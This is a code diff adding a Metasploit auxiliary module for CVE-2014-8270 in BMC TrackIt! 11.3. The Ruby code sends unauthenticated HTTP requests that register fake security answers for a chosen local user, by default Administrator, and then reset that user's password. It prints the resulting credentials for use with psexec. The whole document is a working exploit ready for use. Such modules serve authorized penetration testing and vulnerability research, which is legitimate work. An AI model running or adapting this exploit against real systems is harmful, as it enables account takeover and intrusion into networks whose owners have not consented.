|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit4 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'BMC TrackIt! Unauthenticated Arbitrary Local User Password Change', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a flaw in the password reset mechanism in BMC TrackIt! 11.3 |
| 18 | + and possibly prior versions. |
| 19 | + }, |
| 20 | + 'References' => |
| 21 | + [ |
| 22 | + ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-419/'], |
| 23 | + ['CVE', '2014-8270'] |
| 24 | + ], |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'bperry', #discovery/metasploit module |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'DisclosureDate' => "Dec 9 2014" |
| 31 | + )) |
| 32 | + |
| 33 | + register_options( |
| 34 | + [ |
| 35 | + Opt::RPORT(80), |
| 36 | + OptString.new('TARGETURI', [true, 'The path to BMC TrackIt!', '/']), |
| 37 | + OptString.new('LOCALUSER', [true, 'The local user to change password for', 'Administrator']), |
| 38 | + OptString.new('DOMAIN', [false, 'The domain of the user. By default the local user\'s computer name will be autodetected', '']) |
| 39 | + ], self.class) |
| 40 | + end |
| 41 | + |
| 42 | + def run |
| 43 | + res = send_request_cgi({ |
| 44 | + 'uri' => normalize_uri(target_uri.path, 'PasswordReset'), |
| 45 | + }) |
| 46 | + |
| 47 | + unless res |
| 48 | + fail_with(Failure::Unknown, "Could not contact server") |
| 49 | + end |
| 50 | + |
| 51 | + cookie = res.headers['Set-Cookie'] |
| 52 | + domain = $1 if res.body =~ /"domainName":"(.*)"\}\);/ |
| 53 | + domain = datastore['DOMAIN'] if datastore['DOMAIN'] != '' |
| 54 | + |
| 55 | + res = send_request_cgi({ |
| 56 | + 'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'Register'), |
| 57 | + 'method' => 'POST', |
| 58 | + 'cookie' => cookie, |
| 59 | + 'vars_post' => { |
| 60 | + 'domainname' => domain, |
| 61 | + 'userName' => datastore['LOCALUSER'], |
| 62 | + 'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com', |
| 63 | + 'userQuestions' => '[{"Id":1,"Answer":"not"},{"Id":2,"Answer":"not"}]', |
| 64 | + 'updatequesChk' => 'false', |
| 65 | + 'SelectedQuestion' => 1, |
| 66 | + 'SelectedQuestion' => 2, |
| 67 | + 'answer' => 'not', |
| 68 | + 'answer' => 'not', |
| 69 | + 'confirmanswer' => 'not', |
| 70 | + 'confirmanswer' => 'not' |
| 71 | + } |
| 72 | + }) |
| 73 | + |
| 74 | + if !res or res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}" |
| 75 | + fail_with("Could not register the user.") |
| 76 | + end |
| 77 | + |
| 78 | + password = Rex::Text.rand_text_alpha(10) + "!1" |
| 79 | + |
| 80 | + res = send_request_cgi({ |
| 81 | + 'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'ResetPassword'), |
| 82 | + 'method' => 'POST', |
| 83 | + 'cookie' => cookie, |
| 84 | + 'vars_post' => { |
| 85 | + 'newPassword' => password, |
| 86 | + 'domain' => domain, |
| 87 | + 'UserName' => datastore['LOCALUSER'], |
| 88 | + 'CkbResetpassword' => 'true' |
| 89 | + } |
| 90 | + }) |
| 91 | + |
| 92 | + if !res or res.body != '{"success":true,"data":{"PasswordResetStatus":0}}' |
| 93 | + fail_with("Could not change the user's password. Is it a domain or local user?") |
| 94 | + end |
| 95 | + |
| 96 | + print_status("Please run the psexec module using:") |
| 97 | + print_status("#{domain}\\#{datastore['LOCALUSER']}:#{password}") |
| 98 | + end |
| 99 | +end |
0 commit comments